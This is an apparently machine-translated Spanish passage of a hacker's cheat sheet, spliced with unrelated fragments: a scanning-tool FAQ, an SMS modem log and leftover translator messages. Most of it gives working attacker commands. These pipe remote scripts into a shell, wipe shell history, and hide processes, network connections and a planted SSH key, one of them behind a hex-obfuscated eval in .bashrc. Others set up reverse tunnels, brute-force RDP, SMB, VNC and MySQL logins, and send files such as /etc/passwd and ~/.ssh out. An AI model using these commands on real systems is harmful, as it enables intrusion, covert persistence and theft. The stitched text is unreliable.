URL alternativa:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell hace mucho más, pero lo más importante es esto:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Consejo adicional:
Cualquier comando que comience con un " " (espacio) tampoco [se registrará en el historial](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

Inicia un 'nmap' en segundo plano oculto como '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Alternativamente, copie el binario a un nuevo nombre:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. Oculta tus opciones de línea de comandos**

Usa [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. Ocultar una conexión de red**

El truco consiste en secuestrar `netstat` y usar grep para filtrar nuestra conexión. Este ejemplo filtra cualquier conexión en el puerto 31337 _o_ ip 1.2.3.4. Lo mismo debería hacerse para `ss` (una alternativa a netstat).

**Método 1 - Ocultar una conexión con función bash en ~/.bashrc**

Corta y pega esto para añadir la línea a ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

La entrada ofuscada en ~/.bashrc se verá así:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(gracias iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Ocultar un proceso como usuario**

Continuando desde «Ocultar una conexión», se puede usar la misma técnica para ocultar un proceso. Este ejemplo oculta el proceso de nmap y también se asegura de que nuestro `grep` no aparezca en la lista de procesos renombrándolo a GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Para ocultar un comando usa:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(Lo mismo funciona para `lsof`, `ss` y `ls`)

<a id="cat"></a>
**1.viii. Ocultarse de cat**

Los caracteres de escape ANSI o un simple `\r` ([retorno de carro](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) se pueden usar para ocultarse de `cat` y otros.

Oculta el último comando (ejemplo: `id`) en `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Agregar un `\r` (retorno de carro) ayuda mucho a ocultar tu clave ssh de `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` se usa para reemplazar el shell subyacente con el último proceso (nmap). Es opcional pero reduce la cantidad de binarios de shell en ejecución/innecesarios.
- `${SLOT}` contiene un valor entre 0..19. Es el "número de tarea". Lo usamos para escribir los resultados de nmap en 20 archivos separados.

Ejecuta [Linpeas](https://github.com/carlospolop/PEASS-ng) en todos los hosts [gsocket](https://www.gsocket.io/deploy) usando 40 workers:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

Disfruta de la máxima comodidad con PTY y colores: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

Crea más sesiones de shell usando la misma conexión Master-TCP (única) de arriba (sin necesidad de contraseña/autenticación):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Tú o cualquier otra persona ya pueden conectarse a tu ordenador en el puerto 31337 y ser tunelizados a 1.2.3.4 puerto 80 y aparecer con la IP de origen de 'server.org'. Una alternativa y sin necesidad de un servidor es usar [gs-netcat](#backdoor-network).

Los hackers inteligentes usan la combinación de teclado `~C` para crear dinámicamente estos túneles sin tener que reconectar el SSH. (gracias a MessedeDegod).

Usamos esto para dar acceso a un amigo a una máquina interna que no está en la Internet pública:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Ahora configura tu navegador para usar SOCKS con 127.0.0.1:1080. Todo tu tráfico ahora se tuneliza a través de *server.org* y aparecerá con la IP de origen de *server.org*. Una alternativa, sin necesidad de un servidor, es usar [gs-netcat](#backdoor-network).

Esto es lo inverso del ejemplo anterior. Permite que otros accedan a tu red *local* o que usen tu computadora como punto final del túnel.```sh
ssh -g -R 1080 [email protected]

Luego usa este comando desde cualquier otro lugar del mundo para conectarte como 'root' a 'foobarblahblub' (el host detrás del NAT):```sh
ssh -J [email protected] root@foobarblahblub

> No ejecutamos `ssh` en ninguna computadora excepto en nuestra estación de trabajo de confianza, y tampoco debes hacerlo tú (nunca).

Ahí es donde ProxyJump ayuda: podemos 'saltar' a través de los dos servidores intermediarios $C2 y $internal-jumphost (sin abrir un shell en esos servidores). La conexión ssh está cifrada de extremo a extremo entre nuestro $local-kali y $target-host, y ninguna contraseña o clave queda expuesta a $C2 o $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

|Tipos de archivo| Múltiple|```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

no results found

SRI: 111427 | UID: - | MD: +372 XXXXXXXXXX | Sig: 0 | Left: 0
Rate: 3.5714 cps | Total SMS Sent: 0 | Time: 09:16:32
==========================================================
Status          |   Value
==========================================================
Database        | 3063
Modem           | Online - COM PORT: COM5
IMEI            | 3.5714XXXXXXXXXX
IMSI            | N/A
Operator        | N/A
Network         | GSM (3G) - TELE2
Signal          | 23
Ber             | 0
Session Time    | 09:17:03
Session State   | Inactive - Waiting for start
CPS             | Active: 3.5714 | Max: 30
Real CPS        | Current: 3.5714 | Max: 30
Attack Duration | T: 00:01:32 | S: 00:00:00
Sent            | 0
``````sh
## ICMP discover hosts (local LAN) ROOT
# NET="10.11.0"  # discover 10.11.0.1-10.11.0.254
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

---
<a id="tunnel"></a>
**3.iii. Túnel y reenvío**```sh
## Connect to SSL (using socat)
socat stdio openssl-connect:smtp.gmail.com:465

## Connect to SSL (using openssl)
openssl s_client -connect smtp.gmail.com:465

---

<a id="ports"></a>
**3.iii.a Puertos TCP reversos en bruto**

Útil para backdoors reversos que necesitan un puerto TCP en una dirección IP pública:

Usando [segfault.net](https://thc.org/segfault.net) (gratis):```sh
# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)

usando [serveo.net](https://serveo.net) (gratis):```sh
# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 [email protected]

Vea también [remote.moe](#revese-shell-remote-moe) (gratuito) para reenviar TCP sin procesar desde el objetivo a su estación de trabajo, o [playit](https://playit.gg/) (gratuito) o [ngrok](https://ngrok.com/) (suscripción de pago) para reenviar un puerto TCP público sin procesar.

Otros servicios gratuitos se limitan a reenviar solo HTTPS (no TCP sin procesar). Algunos trucos a continuación muestran cómo tunelizar TCP sin procesar a través de reenvíos HTTPS (usando websockets).

---
<a id="https"></a>
**3.iii.b Túneles inversos HTTPS**

En el servidor, use cualquiera de estos tres servicios de túnel HTTPS:```sh
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate

```sh
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

Reenvía el puerto 2222 al puerto 22 del servidor.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

Más: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) y [Túnel a través de Cloudflare para cualquier servicio TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) y [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Haciendo rebotar tráfico con iptables**

Haz rebotar a través de un host/enrutador sin necesidad de ejecutar un proxy o reenviador en el espacio de usuario:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Usamos este truco para llegar a la gsocket-relay-network (o TOR) desde lo más profundo de redes con firewall.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

Esto también funciona en combinación con:
 * [Servidores ROOT de Segfault](https://thc.org/segfault/wireguard): Conectará tu ROOT Server a la RED OBJETIVO y usará una IP Fantasma dentro de la red objetivo.
 * [Túneles QEMU](https://securelist.com/network-tunneling-with-qemu/111803/): Igual que arriba, pero menos seguro.

---
<a id="tunnel-more"></a>
**3.vi.d Varios trucos de túneles**

### Túnel mediante CDN
 * Lee [Cómo tunelizar cualquier servicio TCP a través de CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o usa [DarkFlare](https://github.com/doxx/darkflare).

### Conecta tu host directamente a la red remota
 * [WireTap](https://github.com/sandialabs/wiretap) - Funciona como usuario o root. Usa UDP como transporte. ([Pruébalo](https://thc.org/segfault/wireguard) en segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Usa TCP como transporte. Funciona bien a través de [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o gs-netcat.

### Usar SSH como un proxy inverso económico a través de Cloudflare

Este método es similar a los [túneles inversos HTTPS](#https) pero usa SSH en lugar de Gost o websocat.
- Ventaja: Solo usa *cloudflared* y *SSH* en el objetivo.
- Desventaja: Requiere una suscripción de CF.

 1. Ve a tu panel de CF -> Zero Trust -> Networks -> Tunnels
 2. Crea un nuevo túnel 'Cloudflared' con cualquier nombre.
 3. Selecciona Debian y 64-bit. El Token no se muestra completamente. Extrae el "Token" copiando el área atenuada en un documento aparte para revelar el Token completo (las largas cadenas hexadecimales después de `sudo cloudflared service install <TunnelTokenHere>`).
 4. Añade un subdominio (el ejemplo usa `ssh.team-teso.net`).
 5. Configura Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

No se ha proporcionado ningún texto de entrada en este chunk para traducir.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

En tu estación de trabajo:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### Usando GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

Obtén información de geolocalización sobre cualquier dirección IP:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Comprueba si TOR está funcionando:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. Verificar/Escanear puertos abiertos en una IP**

Servicio de búsqueda de puertos de [Censys](https://search.censys.io/) o [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1

Escanea puertos TCP abiertos:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. Descifrar hashes de contraseñas**

 1. [NTLM2password](https://ntlm.pw/) para descifrar (buscar) contraseñas NTLM
 2. [wpa-sec](https://wpa-sec.stanev.org) para descifrar (buscar) contraseñas WPA PSK

HashCat es nuestra herramienta de referencia para todo lo demás:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Descifra los hashes de `known_hosts` de OpenSSH para revelar la dirección IP:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(Quizás quieras usar tu [propio nodo EXIT](https://www.thc.org/segfault/wireguard))

Herramientas:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [documentación](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - excelente para probar todas las claves ssh en un rango de IPs objetivo.

Listas de usuarios y contraseñas:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >EL FAVORITO DE THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Establece la lista de **U**suario/**P**assword y el **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Parámetros útiles de **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

- **Q**: ¿Qué herramientas de seguridad se admiten?
- **A**: En la actualidad, se admiten más de 20 tipos de herramientas, que incluyen Burp Suite, AWVS, afrog, Xray, nuclei, OneForAll, subfinder, scaninfo, ksubdomain, httpx, subfinder, URLFinder, PortScan, vulmap, pocsuite3, Yakit, Crawlergo, Kunpeng, URLFinder, Kunyu, dirsearch, etc. Se irán añadiendo más herramientas y tipos de herramientas compatibles en el futuro.

- **Q**: ¿Cómo usar la mensajería por correo?
- **A**: Se puede configurar la URL de Webhook, la API de Feishu/Lark, los tokens de bots de Telegram, la URL de mensajería de DingTalk, los tokens de bots de WeChat de empresa, la URL de mensajería de Gotify, los tokens de Ntfy, etc. Solo es necesario completar el operador correspondiente. Para más detalles, consulte [Instrucciones de configuración del mensajería](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/blob/main/core/message.md).

- **Q**: ¿Se puede separar el uso de la adición de huellas dactilares y las reglas de coordinación con herramientas?
- **A**: Por supuesto, todo es modular en el código fuente. Cada módulo puede funcionar de forma independiente o en conjunto. El diseño modular está implementado en el código: puede optar por usar solo la sección de huellas dactilares para la identificación de huellas de sitios, o usar solo las reglas de asociación de herramientas. Ambos módulos pueden funcionar juntos o por separado, y el orden de llamada se gestiona mediante `config.ini`.

- **Q**: ¿Cómo realizar una exploración masiva automatizada completa?
- **A**: Instalar `ARL-Finger-ADD` y las herramientas de seguridad relacionadas, ejecutar `python3 ARL-Finger-ADD.py` y todo el proceso de coordinación con herramientas se completará automáticamente.

- **Q**: Después de la adición, ¿se ven afectados los datos originales de activos y exploración de ARL?
- **A**: No les afecta en absoluto. Solo se agregan nuevos datos de huellas dactilares y se coordinan las herramientas. Los archivos de configuración y los datos de la base de datos están separados. Los datos originales de ARL no se modifican ni eliminan.

- **Q**: Después de agregar huellas dactilares, ¿se pueden eliminar o restaurar?
- **A**: Todos los archivos de huellas dactilares originales de ARL se pueden respaldar. Tras agregar huellas dactilares usando el proyecto, se crea automáticamente un directorio `finger_backup` para almacenar una copia de seguridad de las huellas originales. Si necesita restaurar, ejecute `python3 ARL-Finger-ADD.py -r` para restaurar los archivos de huellas originales, y luego reinicie el servicio de la web de ARL.

- **Q**: Si ARL y las herramientas relacionadas se instalaron mediante Docker, ¿se puede coordinar con `ARL-Finger-ADD`?
- **A**: Debido a la naturaleza aislada de Docker, no se admite la coordinación automatizada con todas las herramientas en el entorno de Docker. Pero los scripts que no requieren herramientas externas, como la adición de huellas dactilares y la base de datos de rutas de escaneo de directorios, aún funcionan perfectamente bajo Docker.

- **Q**: Después de usar el proyecto, ¿se pueden agregar archivos de huellas dactilares de ARL en el repositorio oficial de ARL en el futuro?
- **A**: Sí, el proyecto se puede usar repetidamente. Cualquier versión futura de ARL puede ser actualizada simplemente ejecutando `python3 ARL-Finger-ADD.py` para actualizar las reglas de huellas dactilares, manteniendo las versiones consistentes con el proyecto.

- **Q**: Si encuentra otros problemas o tiene sugerencias, ¿dónde puede informarlos?
- **A**: Los problemas se pueden informar en la sección [Issues](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/issues) del proyecto. Si tiene una mejor solución o método de optimización, también puede enviar un [Pull Request](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/pulls). ¡Gracias por su contribución!

## 🦄 Estrellas del proyecto

[![Stargazers over time](https://starchart.cc/Aabyss-Team/ARL-Finger-ADD-Plus.svg?variant=adaptive)](https://starchart.cc/Aabyss-Team/ARL-Finger-ADD-Plus)

## 🏆 Equipo Aabyss

## 🔧 Contribuidores

¡El proyecto no puede existir sin los contribuidores de la comunidad!

<a href="https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/graphs/contributors">
  <img src="https://contrib.rocks/image?repo=Aabyss-Team/ARL-Finger-ADD-Plus" />
</a>

## 💖 Patrocinadores

Si este proyecto le ha ayudado, ¡podría considerar patrocinar a los desarrolladores!

<img src="https://raw.githubusercontent.com/Aabyss-Team/Aabyss-Team/main/IMG/202308210636390.png" width="700px">

[Dirección de código abierto del equipo Aabyss](https://github.com/Aabyss-Team)

## 📜 Descargo de responsabilidad

<div align="center"><b>Descargo de responsabilidad: Esta herramienta es solo para investigación y estudio de tecnología de ciberseguridad con fines de defensa.</b></div>
<br>
<div align="center">Si usted u otra persona usa esta herramienta para realizar actividades ilegales sin el consentimiento de la parte autorizada, o no cumple con las leyes de ciberseguridad, no seremos responsables de los daños resultantes ni de ninguna responsabilidad legal.</div>

## Star History

<a href="https://star-history.com/#Aabyss-Team/ARL-Finger-ADD-Plus&Date">
 <picture>
   <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date&theme=dark" />
   <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date" />
   <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&amp;type=Date" />
 </picture>
</a>```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

* [tahlor](https://github.com/TahlonBrahic//#/) - OSINT y Otras Herramientas - en español```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

**C.** Lo siguiente aparecerá en la pantalla```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

[No content provided to translate.]```shell
## SMB (windows)
nmap --script smb-brute "$T"

I don't see any content in the chunk you provided. Please paste the Markdown text you'd like translated, and I'll translate it into Spanish following all the rules.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

🖥️**FreeBSD** 

🖥️**Fedora Silverblue** 

🖥️**NetBSD** 

🖥️**OpenBSD**```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

#### >>> Codificar/decodificar UU```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. Transferencia de archivos - usando *tmux*

Inicia `tmux` en tu estación de trabajo. Conéctate a tu objetivo por cualquier medio que prefieras (ssh, gs-netcat, ...).

#### De REMOTO a LOCAL (descarga)

Usa [Tmux-Logging](#tmux) para descargar archivos grandes desde el objetivo a través de la terminal hasta tu estación de trabajo.

#### De LOCAL a REMOTO (subida)

Inicia tu herramienta de decodificación favorita (base64) en el REMOTO:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. Transferencia de archivos - usando *screen*

#### De REMOTO a LOCAL (descarga)

Ten un *screen* ejecutándose en tu computadora local e inicia sesión en el sistema remoto desde tu shell. Indica a tu screen local que registre toda la salida en screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Usamos *openssl* para codificar nuestros datos, pero cualquiera de los métodos de codificación anteriores funciona. Este comando mostrará los datos codificados en base64 en la terminal y *screen* escribirá estos datos en *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### De LOCAL a REMOTE (subida)

En tu sistema local, codifica los datos:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Get *screen* para que lea los datos codificados en base64 hacia el portapapeles de screen y pegue los datos desde el portapapeles al sistema remoto:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Nota: Se requieren dos CTRL-d debido a un [bug en openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transferencia de archivos - usando gs-netcat y sftp

Usa [gs-netcat](https://github.com/hackerschoice/gsocket) y encapsula el protocolo sftp dentro. Permite el acceso a hosts detrás de NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

O para volcar un solo archivo:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

Receiver: Accede a la URL desde cualquier navegador para ver/descargar el sistema de archivos remoto.

#### 1 - Subida usando PHP:

En el Receptor:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - Subida usando PYTHON:

En el receptor:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. Descarga de archivos sin curl

Usando Python, descarga solo:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Usando OpenSSL, descargue únicamente:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Usando bash, descargue solo:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

luego sube un archivo o un directorio:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Remitente:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Remitente:```posh
